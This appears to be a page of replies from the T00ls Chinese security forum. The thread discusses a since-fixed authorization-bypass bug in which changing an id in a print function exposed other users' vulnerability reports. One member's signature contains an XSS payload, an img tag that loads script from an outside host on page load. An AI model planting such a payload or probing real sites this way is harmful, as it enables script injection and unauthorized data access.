登录 注册
导航
T00ls » 论坛事务(Forum Affairs)

[【Bugs反馈】] 跪求吐司管理联系，发现论坛存在一处越权漏洞（已修复）

SuNu11 2019-12-13 16:30 2960 55
青年小黑UID:5827僵尸会员
积分:210TCV:0TuBi:79坛龄:14年359天活跃1级
2019-12-17
#41
好奇是什么漏洞，想知道具体情况
我是猫UID:12028注册会员五年陈老会员勋章T00ls土豪勋章
积分:284TCV:0TuBi:1127坛龄:8年276天活跃5级
2019-12-17
#42
过程呢，既然修复了？
linuxkrisUID:7487潜水会员五年陈老会员勋章十年陈老会员勋章名人堂荣誉勋章T00ls名人堂成员
积分:334TCV:8TuBi:256坛龄:10年355天
2019-12-18
#43
我想我啥时候也能为论坛做点这样的贡献
proofUID:11628潜水会员五年陈老会员勋章
积分:58TCV:0TuBi:119坛龄:9年零60天
2019-12-19
#44
打印越权，这骚操作可以
只有顽强，明日路总会更彷徨
u神猴赛雷UID:7783注册会员五年陈老会员勋章十年陈老会员勋章T00ls土豪勋章
积分:310TCV:0TuBi:15坛龄:10年166天活跃5级
2019-12-19
#45
回复 8# t00ls管理团队01



       能描述一下问题是出在哪吗？
DotaerUID:8166潜水会员活跃会员勋章五年陈老会员勋章十年陈老会员勋章T00ls发展基金贡献勋章
积分:259TCV:4TuBi:484坛龄:10年116天
2019-12-19
#46
打印得时候可以修改id值来打印其他漏洞，然后能看到详情？我的疑问和鲁人甲大佬一样的，这种不应该是前端调用嘛？为嘛会扯上后端
我只是来打酱油的
SuNu11UID:8441版主楼主活跃会员勋章五年陈老会员勋章十年陈老会员勋章
积分:330TCV:2TuBi:904坛龄:10年116天活跃5级
2019-12-19
#47
回复 46# Dotaer



    代码怎么写的具体情况得问管理大佬，我这边测试得结果是打印是调用了一个动作，可以直接展示漏洞详情。
DotaerUID:8166潜水会员活跃会员勋章五年陈老会员勋章十年陈老会员勋章T00ls发展基金贡献勋章
积分:259TCV:4TuBi:484坛龄:10年116天
2019-12-19
#48
回复 47# SuNu11



    那意思就是我猜想的漏洞过程应该是对的咯
SuNu11UID:8441版主楼主活跃会员勋章五年陈老会员勋章十年陈老会员勋章
积分:330TCV:2TuBi:904坛龄:10年116天活跃5级
2019-12-20
#49
对，可以这样，我也不知道为啥会换成另一个action
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
bowu666UID:11519注册会员五年陈老会员勋章
积分:244TCV:0TuBi:201坛龄:9年123天活跃5级
2019-12-20
#50
看来以后测试越权还可以测试下打印等功能
123456
SuNu11 版主楼主
活跃会员勋章五年陈老会员勋章十年陈老会员勋章
35主题 831帖子 904TuBi
TA的主页 私信TA 返回版块 社区首页

本版最新

T00.ls | GMT+8, 2026-11-13 04:42

Powered by T00ls.com